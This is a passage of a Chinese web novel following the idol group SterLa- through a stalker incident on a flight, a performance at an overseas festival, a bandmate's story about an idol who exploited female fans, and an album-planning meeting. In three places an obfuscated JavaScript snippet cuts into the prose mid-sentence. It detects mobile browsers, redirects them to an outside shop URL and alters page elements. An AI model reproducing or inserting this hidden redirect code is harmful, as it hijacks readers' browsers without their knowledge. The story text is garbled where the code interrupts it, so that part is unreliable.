大嗓门终于把周围睡着的人都吵醒，随性的工作人员一看，竟然都有人提着摄像机站在了旁边，吓得一个激灵，赶紧站起来隔开对方。 空姐也被这动静吸引过来，欣怡在上飞机的时候就跟空姐们提前打好了招呼。这会儿空姐过来一看就了然是什么情况，温柔又不容拒绝地将女生劝回了座位。 对同机的人来说不过一个几分钟的小插曲，好奇地看了一会儿又纷纷陷入睡眠。 于立果拍拍江翰飞的肩膀，“行程才一半，还得好几个小时，接着睡吧。” 江翰飞却怎么也睡不着了。 44.第 44 章 SterLa-刚出道在海外没什么名气，也没人接机，出机场的时候一路畅行。和当时国内送机的阵仗简直不是一个等级。 因为昨晚国内的颁奖典礼，他们的行程时间紧张得很。今天下了飞机就得先直接去彩排，舞台表演排在第一天，明天就得登台，表演完的当天又得飞回去。 Dancing Note拼盘演唱会，是跃音App每个季度都会在海外举办，为期两天。邀请的演唱嘉宾混杂了多个国家和类型音乐人，在圈内算的上有口皆碑。不少粉丝一直关注这个拼盘演唱会，挖掘一些实力小爱豆。 SterLa-能有上这个演唱会的机会，也是因为跃音App的负责人本身理念就是想聚集各个方向的音乐人，不太看粉丝数量，反而更注重作品。今年出道的新人里上过这个拼盘演唱会的，哪怕加上这期的SterLa-，IUE和KtM也屈指可数。 因此哪怕他们的行程已经紧张成这样，也得挤出两天的空挡紧赶慢赶地来。 在飞机上没睡好，时差也没倒过来，早上从国内出发是早上，到了这儿还是早上，让江翰飞下飞机之后就直打哈欠。坐上去现场的车后，倒头就睡死过去。 禹安手指在手机键盘上敲得飞快，问于立果飞机上到底是怎么回事。 他当时戴着眼罩耳塞，等他醒来看到的时候就只剩下空姐的背影。见于立果回复说有人怼着江翰飞拍，被制止了不乐意。他不禁撇撇嘴，私生就是私生，在飞机上堵人的事儿也干得出来。 收起手机揣进兜里，从欣怡手里接过一条毛毯给江翰飞搭上。 彩排的场地离机场只有一个小时的车程，江翰飞觉得自己好像刚睡着一秒钟就被叫起来了。 演唱会的场地很大，虽然是个拼盘演唱会，但跃音App财大气粗地租用了市中心的体育馆。还没进去，在场外就已经听到里面隐约的彩排音乐声。 唐君君联系了负责接待参演嘉宾的人，对方领着他们一路往后台去。 路上江翰飞看到个有点眼熟的身影。但一晃就过去，他没看太清楚。 “看啥呢？”吴星雨凑过来一把搭在江翰飞肩上。 “没什么，看起来感觉有点眼熟。” “眼熟谁？” “就刚刚从那个拐角过去的。”江翰飞指指走廊另一边的拐角，“应该也是参演嘉宾。” “阿飞弟弟，你现在的交际圈这么广的吗？”吴星雨调侃道，“是朋友的话可以介绍认识，一起玩儿嘛！” 江翰飞点头应下。 换别人说这句话可能只是客气一下，吴星雨说这话那就是真的。 吴星雨性格外向，最主要的是他对人的感受非常敏感。 用他自己的话说，哪怕初次见面，他跟这人说上几句话，就能感受到这个人他想不想靠近。 用于立果的话来说，就是他上辈子应该是一只警犬，嗅觉超敏感的那种。 然后于立果说完就收获了来自队长吴星雨的锁喉大礼包。 众人进到休息室，一共只有两场彩排；早上的一彩主要是走流程，核对人员，曲目和舞台设置，不用特意做妆造。 不过下午的终彩是要求带妆造的。所以妆造师们把带来的服装和配饰等拿出来一一挂好又熨烫好。 一个要下午走完两天的表演彩排，时间紧任务重。谁要是在这个时候掉链子，那收获的就是所有表演嘉宾们的白眼。 SterLa-的表演内容是他们已经跳了无数遍的出道专主打《钢铁丛林》。虽然已经到了闭眼都能跳的程度，但彩排的时候五人还是老老实实地认真跳完。 顺利结束终彩，江翰飞几人顺着场务的示意从侧面下舞台。 “果然是你！”突然旁边一个男声传来。 江翰飞听这话就知道先前自己没看错人。 扭头往声音方向看去，果然是当初打歌时遇见的那个躲在楼梯口哭的男生。 男生的音色很有特色，少年气里带着一点甜，光是听声音都觉得这人朝气又可爱，跟时元一样。 “啊啊啊，你不会已经把我忘了吧？”男生见江翰飞没回话，又往前走两步，“我是卫阳啊！” 卫阳真怕江翰飞把自己给忘了，又见江翰飞的队友们神色不明地看着自己。为了防止自己被当成不明人物，立即从兜里摸出手机，找到江翰飞，给他发了个哭哭的表情包，“这个，就是这个呀。” 江翰飞回过神来，摆摆手赶紧说道，“没忘没忘！早上看到你背影了，还说结束之后再问问你的。” “呼~”卫阳舒口气，夸张地拍拍胸口，“吓死我啦！还以为你真的把我忘了呢！” “阿飞，这就是你早上说的要介绍给我们认识的朋友吗？”吴星雨听明白了，走过来站在江翰飞旁边，对着卫阳伸手，“你好，我是SterLa-的队长吴星雨。 “江翰飞他哥。” SterLa-其他几人听见这句集体无语，禹安更是直接对着旁边空气翻了个白眼。 显着你了！ “你好你好，我是卫阳，是Bearing的副唱。”卫阳赶紧和吴星雨握手，一点儿没听出来有什么不对。 “你是小熊的？”葛文山少见地插了句话。 “嗯嗯，就是小熊！”卫阳露出一个大大的笑，对自己的团十分骄傲。 这下于立果和禹安也看了过来。 要说今年年末的几个黑马，SterLa-他们自己算一个，而眼前卫阳所属的Bearing也算一个。 起因是有一位他们的老粉去追他们的打歌现场，回家后把他们的打歌节目单独剪了出来发了博文。博文真情流露，替小熊他们感到不值得，也不解为什么能做出这种优质舞台又认真努力的团火不起来。 原本这种替自己爱豆抱不平的博文多到数不过来，在没什么流量的账号上发这种博文，只会让它淹没在无数的信息流中。 而这条妙就妙在写得特别好，并且中间隐隐还讽刺了当期拿了一位的热门男团闭麦假唱。 于是这条博文被那个热门男团的对家掐头去尾截图去嘲讽对方。被热门男团粉丝挖出来源头在她这儿后，原博文里一下子冲进来了大波流量，有男团粉丝骂她的，让她删博的，也有其他粉丝来看戏的。后来营销号见流量这么大也纷纷下场，给这场风波再添几把柴，直接引爆了后面一系列抵制的“对嘴”男团的风潮。 各个视频网站的博主和营销号纷纷开始剪辑或者盘点今年一来打歌舞台的开麦率，教粉丝怎么辨别真假开麦。 这也让从出道开始一直认真开麦唱跳的SterLa-间接成为这波风潮的受益者。 因此团里几人也一直对这个源头Bearing带着几分好感和好奇。 几人一起往后台去。葛文山意外的‘话多’，一路上问询着Bearing的主Rap情况。卫阳似乎也很开心自家大哥兼队长有同行这么欣赏，跟葛文山叽叽喳喳抖露了自家大哥许多事情。 路上于立果悄悄拉过走在卫阳旁边的江翰飞，“你们什么时候认识的？靠谱吗？” “就之前回休息室拿盒饭那次。”江翰飞也小声回复。 “噢，就是你说被欺负到没饭吃的那个团？”于立果恍然。那天江翰飞回来就跟他们说了什么情况。只是送了点吃的出去，江翰飞自己还紧张会不会出什么事儿影响到团里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有区别，酒店挺旧的。”吴星雨说道。 禹安：“······好好的氛围被你一说全没了。” “要什么氛围啊？”吴星雨满不在乎，“别想太多，累不累啊？” “出道那段时间也不知道是谁躲在被子里哭······” “······你怎么知道的？！”吴星雨立马转头看向于立果。 于立果摇头耸肩，可不是自己干的。 吴星雨不可思议地看向葛文山：“葛老师？！” 他万万没想到，爆他丑事的居然是这个话少之又少的葛文山！ 葛文山看看装无辜的禹安。 他能说当时只是觉得队长压力比较大，想找个会说话的安慰一下他吗？ 本来想找于立果的，没找到合适的机会。就找了另一个能说会道的禹安，结果看现在吴星雨的反应，禹安压根儿啥也没说。 “别看了，当时不说才是最好的。”禹安踢踢脚下的路，装作不在意的样子，“那时候我们越说他压力越大。还不如好好表演，有了好的粉丝反馈，自然就没什么心理压力了。” “再说了，哪个新人不出点小问题呢？咱不都犯蠢过？” 葛文山点点头，接受这个解释。确实后来反响变好，吴星雨自己就把心态调整回来了。 江翰飞双手揣在卫衣兜里，把卫衣帽子扣头上，微微低着头，嘴角抿着笑，眼睛微弯，听着身边的队友笑闹。 真好。 45.第 45 章 演唱会当天他们睡到九点多才起，这在他们出道后真是难得奢侈的懒觉。 江翰飞站在酒店阳台呼出一口白气，空气又冷又燥，吸进身体里有一种奇异的冰凉感。但冬天的太阳又暖融融的，照在人身上一点不觉得灼热，只觉得温柔。 这儿是个商业化的大城市，挤挤挨挨都是高楼大厦，和国内的大城市大差不差。放眼望去阳光照在玻璃外墙上反射出刺眼的光来，不知道该说是波光粼粼还是光污染严重。 “阿飞，快来洗漱，欣怡姐在催了。” “噢！来了！” 江翰飞放弃思考这个问题，脚步急转回屋，剩一地温热阳光。 “演唱会下午六点开始，十点半结束。”欣怡拿着小笔记本给他们讲今天的后续行程安排，“东西都收拾好了吧？” SterLa-几人一边做妆造一边听。 其实这些早在来的途中就已经说过，欣怡只是以防万一再强调一遍，“下午三点，准时出发去会场。” “结束之后我们是不回酒店的，直接出发去机场。就辛苦大家在车上直接卸妆了。” 他们预计要在年后出二专回归，前段时间每天除了练习颁奖典礼上的表演，其余时间几乎都在和公司开会。 对比出道专的毫无话语权，全权由公司从定概念，定歌曲，定制作，到后续的舞蹈，MV等等。这次的回归二专公司每次制作会议都叫上他们一起。 这让他们本就拥挤的行程，又像海绵挤水似的拧紧几分，浑身都崩的紧紧的。 不然唐君君也不会同意昨天晚上放他们出去溜达‘放风’。 结束这次演唱会之后，回去又是一轮接一轮的会议和讨论。 “都没问题吧？”欣怡问道。 成员们都点头应着。他们东西已经收拾好，待会儿从房间带走就行。 下午三点，众人出发去会场。 路过会场入口处，已经有人开始排队等待入场。排队的人里男女老少，各种肤色和年纪都有。瞥一眼就能看见各种不同肤色和发色的人。有一家四口，带着孩子一起来的夫妻；两个手牵手相互依偎的情侣；还有背着背包或是打扮潮流的少年少女们。 这大概是只有在Dancing Note演唱会上才能看到的盛况。毕竟嘉宾里有各种乐队，有爱豆，有流行明星，也有名不见经传的小歌手。 “啊啊啊啊！” “岸岸！” “我幸福得要晕过去了！” 远处排队的地方突然传出一阵阵尖叫声。 坐在车里的几人被声音吸引，往人群聚集处看去。 “咦？那是KtR他们吗？”于立果认出站在人群中心的那个人，好像是KtR的门面，“是徐寂岸吧？” “就是他。”禹安已经认出来了，语气莫名的冷，“离他远点，不是什么好东西。” 其余四人纷纷向禹安望去。 这是认识？ 禹安也没藏着掖着，直接了当地说，“算是认识，他是我朋友的前男友。” 说着他脸上露出几分明显的厌恶，眉头紧皱，“事关我朋友，我不想多说。” “你们愿意信我就离他远点。” 说完禹安不再看向那边，扭头转身，朝里靠在车壁上。 话说到这个份上，余下几人默契交流一个眼神，也纷纷安静坐回位置。 吴星雨看着几人朝禹安努努嘴，示意他们要不要安慰下。 于立果按住想坐过去的江翰飞摇摇头。 他们不了解事情的情况，别安慰不好反而说错话。 于是车内的氛围一直安静着。 幸好已经到了现场，开到车库也不用太久。等到下车的时候，禹安已经收拾好了自己的情绪，反过来对他们说道，“不用想太多，找时间我给你们细说，今天先准备我们的表演吧。” “就是就是，有啥不能说的。”吴星雨走过去揽住禹安的肩膀，“说出来，哥哥给你解决烦恼。” 禹安抖掉肩上的手，“那我真是先谢谢队长大人了。” “这倒不用，请我吃个饭就成。”吴星雨顺杆子往上爬，想趁机敲诈一顿。 可惜只收获了来自禹安的漠视。 说笑着，温度恢复正常。话题已经开始转向晚点的表演。 “体育馆的演唱会真好。”江翰飞看着站在台上做紧急彩排的歌手，对方好像行程出了什么问题，下午飞机才落地，到现在才是第一次彩排。 馆内使用的印象设备非常好，浑厚低沉的男低音从大音响里传出，回荡在整个会场。江翰飞手搭上塑料的椅背，都能感受到椅背上传来微微的共振。 “会有机会的。”葛文山站在一边，眼睛越过场内，直直望向远处的舞台。 “我赌三年内，我们一定可以。”吴星雨接到。 于立果笑起来，“我赌两年。” 禹安想了想，看着于立果，“我越觉得越快越好，我压你了。” “那我也压你。”葛文山说着压注于立果，眼神却飘向了江翰飞。 江翰飞感受到四位大哥看过来的眼神，“我觉得不用两年，两个小时后就可以了。” 现在刚刚四点过，按照彩排演唱情况，正好在六点多轮到他们登台，可不就是两个小时后吗？ “哈哈哈哈哈！” 几个人笑够，吴星雨提醒着该回后台了，“走吧走吧，观众快要进场了。” 他们从后排的观众席上一路往前走，走近靠近一区的位置，禹安眯眯眼，“那是KtM他们吗？” 他指着站在舞台侧面似乎正在跟工作人员说什么的几个人，不确定地问道。 “是他们。”葛文山仔细辨认一下，认出其中一名成员，“我见过那个人，当时打歌选一位的时候就站在我旁边。” “他们因为彩排的事情正在和主办方闹呢。”欣怡出来接他们，正好听到，顺嘴就说了一句。 几双眼睛又齐刷刷地看向了欣怡。 欣怡一边带着他们往回走，一边四下看看没人，悄悄跟他们说，“KtM是被公司硬加进来的关系户。航班问题没赶上彩排，想等袁杰老师彩排完趁着时间彩排一次的，但是工作人员不同意，还在掰扯呢。” 想想KtM也是安阳娱乐公司推出的新男团，在国内好歹有几分薄面，在打歌的时候去哪儿都是顺顺利利，哪遇上过这种事情。 但是今年KtM在颁奖典礼上一个新人奖都没捞到，全被SterLa-和IUE给瓜分。安阳娱乐的高层不知道是不是害怕丢脸，最后几个颁奖典礼甚至直接没让KtM参加。 要不是这个演唱会是早就定好的行程，跃音App又是安阳娱乐得罪不起的平台。不然这个演唱会他们也不一定能来。毕竟除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13963965|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了KtM，今年最后一期Dancing Note的新人只有SterLa-和IUE。 “行了，少说两句。”唐君君不知道什么时候也来了。 几人听欣怡说得正起劲儿，突然听见唐君君的话被吓了一跳。欣怡赶紧低头闭嘴。 “去整理下妆造。”唐君君看着吴星雨，“带他们再过一下舞台，别以为是自己熟悉的歌就松懈了。” 吴星雨老实点点头，他们本来也是这么打算的， 但是现在不敢顶嘴。 几人留下欣怡和唐君君回了休息室，没一会儿唐君君进来了，欣怡没跟着回来。 天还没完全暗下来，太阳还挣扎在地平线边上，外面的观众已经基本上进场完，坐等开场。 随着几声礼炮，音响开始躁动。 开幕视频是今天第一天所有参演嘉宾的混剪闪回。每出现一个，台下观众们就很给面子的鼓掌或者欢呼，遇到国外名气大的，掌声和欢呼声也格外响亮。 开场嘉宾是国外一支著名的乐队，经常参加音乐节。开场就直接引燃了现场，点燃了所有观众的热情。 带起现场一阵阵尖叫声潮。 连在休息室内都能听到的嘶吼声和尖叫声让SterLa-众人也感到身体似乎都燥热起来。 “好厉害。”江翰飞喃喃。这是他第一次遇到，只是在后台听到现场演唱就能让他有强烈上台冲动的表演。 身体似乎也被他们点燃，心底翻滚起一阵一阵想上台，想唱歌，也想跟着酣畅淋漓释放的冲动。 江翰飞低头看看自己的手，又抬头看看镜子里的自己。 “阿飞，快来。” 吴星雨招呼着他们在休息室里小小地走位，确认舞台细节。 江翰飞却因为这小小的动作变得更加难受。 心里被压着的情绪翻涌得更加激烈。 SterLa-作为新人，出场顺序早。开场后过了五六组就轮到到他们。 上台时，作为新人的他们，除了友善的鼓掌声再无其他。 会场内不少人见是不认识的嘉宾上来，直接起身去卫生间。 熟悉的前奏响起，音响的扩音效果极佳，伴随江翰飞的吟唱回荡在整个体育馆会场内。刚刚显出几分嘈杂的现场安静下来，正在会场内开小差交谈的人也闭嘴倾听。 “这是谁？” “不认识，是新人吧？” “虽然听不懂，但感觉唱的挺不错。” 台上的队友们本来已经听习惯了这首歌，但是今天的江翰飞唱的格外有味道，加上现场反应。SterLa-似乎也被引爆了。接着的于立果，葛文山，吴星雨，禹安发挥格外好，到了江翰飞的高音部分，声音像是直接穿透了云霄，引来台下同行们的侧目。 江翰飞颈侧的青筋暴起，高音中难得带上一点撕裂感，不如以往现场的透亮，却格外适合现在。高音结束，收麦，转身又融入队伍中的Dance Break。 SterLa-气势汹汹，五个人加上六个伴舞老师，十一个人跳出了一百个人的气势。 一曲终了，台下欢呼声阵阵，好些原本去卫生间，结果走到一半被定住的人直接跳起来挥手。见SterLa-下台了，赶紧又继续往卫生间跑去。 排在SterLa-后面的IUE却隐隐面色发白，这要怎么拿回场子？ 46.第 46 章 SterLa-下台后，朱朱反复看着手里摄像机的视频，露出一个开心的笑，宝贝似的把摄像机抱在怀里。 时隔三个月，再次见到了当初一脚把她揣进坑里爬不起来的初心版江翰飞。 外表没有太大的变化，但是眼睛里的火怎么也藏不住。只要和那双眼睛对上，就能被里面蕴含的热量和爆发力所震慑。 昨天江翰飞在飞机上遇到私生的事情早在粉丝之间传开。小蝴蝶们被气坏了，在网上痛骂私生不要脸，骂公司不作为没有保护好他，除此之外他们好像也没有其他办法能保护他。 小蝴蝶们一边生气一边还很担心她们的崽。 江翰飞只是个出道还没有半年的新人，这却已经是第二次遇见疯狂的私生，这次还是在高空封闭的飞机上。也不知道人有没有受到惊吓，能不能调整好自己的情绪和状态。 今天朱朱来的时候也怀着担心和疑问，但看过他的表演就知道：江翰飞不仅没被影响到情绪，发挥得甚至比打歌时期还要好。 朱朱没有多加工视频，这个视频也不需要多复杂的加工，简单剪辑了一下就发上了账号。 安一安小蝴蝶们的心。 果然小蝴蝶们看到这个视频被自家爱豆迷得嗷嗷叫，提着的心也放下了。 美色当前，当然是先欣赏崽的舞台啦！ 不过相对的，KtM的粉丝就过得颇为凄惨。 在新人奖前和IUE、SterLa-的粉丝碰过，当时就被两家压着打；后又在新人奖期间一个新人奖都没分到，又被IUE和SterLa-两个直接瓜分新人奖的情况虐。到后来，公司甚至直接没让他们再出席后面的颁奖典礼。 粉丝们是一边心疼自己爱豆没得奖，一边在网上使劲儿骂KtM公司的雪藏行为。 公司脑子有病吗？ 这么大流量的颁奖典礼不参加，到底是想干什么？ 甚至有富婆粉丝姐姐租用了几辆卡车直接开到公司楼下拉上横幅，要求公司恢复KtM的行程。 这次KtM能成功出席知名拼盘演唱会，原以为是他们的操作有效。让KtM在接连缺席了好几个颁奖礼后能参加海外的演唱会。 没想到他们的另一个对家KtR也受邀作为演唱会的参演嘉宾。 KtR作为男友风男团成名多年，当初KtM出道时直接就被KtR的粉丝打成了克隆蹭热度的对家。骂他们不要脸，连团名都抄袭。 后来一直摩擦不断。 这下在演唱会遇上，又被嘲笑说KtM是KtR的大型私生团，什么行程都跟。 接连受到打击的KtM粉丝不少人被虐到脱粉，只剩下一批中坚的死忠粉，坚持为自己爱豆应援。 想当初IUE，KtM和SterLa-一起在去年十月回归大战中出道，那时候还在预测新人奖会花落谁家，谁的音源最好，谁会最先拿到第一个一位。而现在的KtM已经没法再和另两个相提并论了。 “那些KtR的粉丝有病吧？” “就是，我们去参加演唱会关他们什么事？” “真的觉得有点累了。” “抱抱姐妹，累了就休息一下再重新出发吧。” “那个徐寂岸自己什么德行他自己不知道吗？他们粉丝还好意思跟骂我们？” “诶，毕竟圈内大前辈。” “得了吧，这两年都没什么作品，全在吃老本，一年不如一年。” “徐寂岸的事儿是在说谈恋爱那件事？” “……” “所以当时被爆出来的那个女生是你朋友？！”吴星雨怪叫道。 “嗯。”禹安语气不耐烦，“信不信由你们。” “我们没说不信啊。”吴星雨摆摆手，又凑过去一点，“这不是太震惊了嘛。” SterLa-的回程吸取前车之鉴，公司给他们买了头等舱不说，唐君君把随行的几位工作人员也升舱到头等舱，直接包了整个头等舱，还给他们分了几个组，时刻保持有人清醒，有不认识的人进来就拦下。于是回程路上安静得很，他们几个睡了一路。回到宿舍的时候晚上八点，几人精神抖擞，默契地一起凑在客厅沙发听禹安讲当时在车上没说完的话。 “那你朋友真的是在跟他谈恋爱？”吴星雨追问道，“我没有别的意思啊？就是想知道当时是什么情况。” “没有。”禹安否认，过了一会儿才说道，“我朋友是被骗了，她以为自己是在跟他谈恋爱。” 江翰飞一直安安静静地抱腿坐在单人沙发上，听到这儿才说了句，“禹安哥，不好说的话也没事的。” “毕竟是你朋友的隐私，又是女孩子。” “我们肯定相信你的。” “没事。”禹安挥挥手，“我问过她了。” “徐寂岸不是以亲近粉丝，喜欢给粉丝惊喜的明星男友出名吗？”禹安撇嘴，“其实他每次去，都是去看美女的。” “他们是男友风男团，本来女友粉就特别多。女粉丝们去他们的演出时，也都会打扮得漂亮精致。他就是打着给自己粉丝惊喜的名义，直接去粉丝堆里近距离观察。遇见合心意的，就给自己的私人助理暗示，他的私人助理就会去给这个女生递纸条，告诉那个女生一个账号让她跟那个账号联系。“ “最开始是不会明说那个账号后面是他的，只有到了后面，他聊过觉得女生比较好控制之后，才会慢慢地暴露自己。” “会给人做一些似是而非的小动作，比如去看他演唱会的时候故意往你这边挥手，打招呼，比爱心；在那个账号上有意发一些暧昧不清的话，还会给你送礼物。” “女生们都以为自己是在跟他谈恋爱。实际只是·····” 最后的话，禹安说不出口。 他最开始是因为这位朋友的鼓动才开始了解这个行业，才开始想要成为一名偶像。不夸张地说，当初这位女生嘴里的偶像是他当时下定决心想成为偶像的初心。 但他想成为的不是这种偶像，甚至他觉得就是因为行业里有这种人品低劣却又善于隐藏的人存在，才让这个行业时常被人误解。以至于很多路人在不了解他们的时候就对他们充满反感，不愿意再去了解正常生态下的他们 。毕竟丑闻的出圈程度远不是一个正常舞台可比的。 整个屋子里的人都沉默下来。 他们是新人不假，但不是第一天了解这个行业。 灯光太亮，有时候也会遮掩住部分黑暗。 这个时代的这个圈子里，流量和资本为王。霸凌，特权，交易在这个圈子的屡见不鲜。它们潜伏在水面下伺机而动，不知道什么时候就会咬上来，把想真正努力认真做好自己的爱豆拖下水。 “那她后来……还好吗？”葛文山问到。 “没事，她知道我要跟你们说，还让我讲清楚点，重点突出一下那个人的恶心。”禹安脸上没有故作不在意，反而认真地跟他们说，“她走出来，花了两年。” “没有想过曝光这件事吗？” 禹安苦笑着摇摇头，“人有时候是会自我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996834|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欺骗的。她之前想联合其他女孩子曝光徐寂岸，不少女生虽然自己受了伤，但还是心软不愿意曝光。更有人求着她不要曝光，不想结束这段关系。” “而且互相暧昧时他给她们买过奢侈品礼物，也从来没有承认和任何一个人是恋爱关系。他还跟我朋友说这是你情我愿的事情，别收了钱和东西就翻脸就不认人。” “那这和私生有关系吗？”江翰飞突然没头没脑地问了一句。 其他几人都奇怪江翰飞怎么突然又扯上了私生。 只有禹安深深看了江翰飞一会儿，才叹气道，“你怎么老是在这种地方精明？” “当时爆出我朋友照片的就是私生，当时说的是徐寂岸招女票；因为这私生见过很多不同的漂亮女生进入徐寂岸的家里，她以为他是在·······“ 难怪禹安对私生的厌恶这么明显。虽然对方曝光了渣男行径，但目的不纯，而且对另外的受害者造成了二次伤害。 江翰飞皱皱眉冷声，“真让人恶心。” 他又想到了当初在奶茶店工作时那几个给明显做宣传的女孩子，他们打歌和上下班路上用期待和欣喜的眼神望着他们的女孩子，还有更多在网线的另一头，即使从未谋面也愿意为他付出时间精力在网上给他做宣传，做数据，做视频，为他买代言等等等等。为了见他一面，能跨越上千公里的距离，能熬一整个通宵，能花费他不敢想的金额。 他被路人夸奖唱歌好听，粉丝们回复里透露出的激动和感谢比他还多。他拿到了奖项，她们比他还感动，还开心。他遇到事情，她们比他最亲的人给予的关心和鼓励还要多。 出道之后，他的努力从一开始为了完成系统任务，变成不想拖团队后腿，后来又加上为了那些期待着他的粉丝。 他诚惶诚恐。 一直觉得自己收到的实在太多，但是给予粉丝们的又实在太少，只能每次都想着怎么能做得更好一些。 但这个人却利用着粉丝们的爱和信任做这种事情。 于立果看出江翰飞情绪不好，缓和道，“确实是恶心，难怪禹安你一直不跟我们说什么情况。” “不过就想禹安说的，事情本质是个人品德的败坏。即使他不是偶像，也会是个渣男。” “我们无法改变别人，我们能做的就是做好自己。” “就是，咱也不是那样的人啊。”吴星雨接着说道。 禹安瞪眼，“废话，你们要是那样的人我能和你们讲这事儿？” “要是你朋友有什么需要就说，我能帮就帮。”于立果说道。 听见这话，葛文山意外地看了他一眼，也说道，“我们一定帮忙。” 江翰飞和吴星雨也点头应是。 “看她自己，再爆出来又是重新撕开她的疤。”禹安叹口气，“她好不容易走出来。而且上次闹得这么大，徐寂岸还是被他公司保下了。再曝光也不一定能有结果，所以看她自己的选择吧。” “好了，就到这儿吧。反正这个人是垃圾，他们团队是否知情我们不知道，所以还是远这点吧。” 其余四人一起点点头。 禹安结束话题，众人散开回自己房间收拾行李箱的东西。 “嗯？现在吗？”江翰飞突然接到唐君君的电话，“好，我马上过来。” “怎么了？”禹安不解，大半夜了，又刚从国外回来，怎么会这个时候让江翰飞去公司。 “没说，说是有事找我，让我先过去一趟。”正好他还没换衣服，穿上鞋匆匆出门。 47.第 47 章 早上十点，SterLa-练习完舞蹈，又被拉来开会。 会议桌上每人位置前都摆着青山咖啡。这是自从SterLa-代言青山咖啡后，青山那边送过来几台咖啡机和配套设施，以及慢慢几大袋据说是他们老板都很喜欢的高级咖啡豆。 “出道专《钢铁丛林》的设定不错，二专可以延续一专的设定。”营销部门的工作人员说道。 “当初做出道专的设定的二专是《唇枪舌剑》嘛。按照这个概念选曲我们已经选了一半了，但是主打还没定下来。” “SterLa-你们怎么看？” 唐君君坐在会议桌最前面，视线转向坐在左侧的SterLa-。让他们收紧行程也要腾出时间来参与专辑制作会议是她要求的。她唐君君想要的不仅是能消化好概念和歌曲的团队，要的更是一个能在自己的作品中表达出自己的团队。只有在作品中拥有自己独特的表达，才能在众多同质化的制作中脱颖而出。 吴星雨看看身边的队友们，转头答道，“我们也觉得出道专的主题延伸挺不错的。“ “出道专的《钢铁丛林》讲的是工作党在白天积累的压力梦魇会在晚上睡觉的时候来袭击嘛。那我们第二张专辑以《唇枪舌剑》作为主题也很合适，正好之前我们也遇到了一些舆论上的问题。“于立果补充道。 “我们的MV好像挺多人没有完全看懂，这个需要调整吗？” “不用，完全看懂就没有吸引力了。每一个画面的解读本来就应该有千万种不同的。”唐君君否掉。太直白的表达反而会让人失去兴趣。 “那我们在舞蹈里加一些特色舞蹈呢？”吴星雨又开口说道，“比如剑舞这类，能和我们的主题扣上。” 唐君君点点头，“这个记下来，编舞老师制作的时候看看适配性。” “Rap段我和葛文山想着我们可以先写，如果制作人老师不满意，我们就改用回原曲的？”禹安问道，“这样可以吗？” 唐君君很满意他们有想自己创作的想法，面上不动声色地应到，“你们先写，写完再看。” “言辞尺度自己把握好。” “……” 会议很快接近尾声。唐君君意外地让制作人员先出去。 被留下的五人心里开始默默回想着这两天有没有做什么出格找骂的事。 “你们的出道专和代言结算出来了。”唐君君没有废话，一句话直达主题。 一听这话，几人立即将刚刚的猜测抛到脑后，“君君姐，是我们理解的那个结算吗？” 吴星雨不确定地问道。 “那不然呢？”唐君君好笑，“出道专和代言的结算稍后会到你们账上，金额按照合同分成，你们的金额都是一样的，有什么问题直接找我。” 唐君君说完干脆利落地离开，剩下几人还坐在会议桌前。 “要不要今天晚上一起出去聚餐？”江翰飞问道，“我们好像还没有一起聚餐过。” 江翰飞到这儿之前上过一年大学，也有过多次打工经验。按照他的了解，一般发工资都会和朋友一起聚餐什么的。 听江翰飞这么一说，于立果和禹安立即响应。 葛文山直接问道，“我对附近吃东西的地方不熟，有推荐的地方吗？” 吴星雨放下跟唐君君报备的手机。 最终几人来到一家粤菜店，就在公司街道旁边。味道好，有包厢，最主要是葛文山认识人家老板，他们可以直接从后门进去，不会惹眼。 开席，几人先一人喝了一碗这儿的招牌汤品，满足的叹口气。 他们出来吃饭，当然不可能喝酒，也不用劝菜，各自埋头苦干。 上来一道黑松露香煎牛肉粒，吴星雨挖了一勺放进江翰飞碗里，“尝尝，这个好吃。” 等他再把视线放回餐桌，面前的牛肉粒已经被转走了，转完一圈再回来，只剩下一个空盘子，散着两三颗。 接着就对上禹安挑衅的目光和于立果装无辜的眼神。 吴星雨：······我真是谢谢你们还给我留这么三瓜俩枣 江翰飞见状憋笑，把刚刚吴星雨给他的又分回一半给他。 葛文山是唯一没有波及的，他压根儿没向那边伸筷子。 “山哥吃点虾吧。”江翰飞把白灼虾转到葛文山面前。因为葛文山的姓，叫葛哥像是在叫哥哥，所以大家都叫他葛老师或者山哥，文山哥。 葛文山应好，加了几个虾放到碗里慢慢剥，没在夹过其他菜。 其他人见怪不怪，葛文山是易胖体质，他进公司开始就在严格管控饮食，最爱吃的薄荷糖进公司后也改成了无糖薄荷糖。 从还是个练习生的时候就开始减肥，硬生生地从健壮减到现在这样的清瘦的纸片人体型。中间吃了多少苦他不说大家也知道。 而且出道之后对自己的饮食管控得更加严格，就他们一起吃饭的时候，从没见过葛文山吃过重油盐的东西。 刚刚那道黑松露香煎牛肉粒，就因为裹了酱汁，他就没夹过。 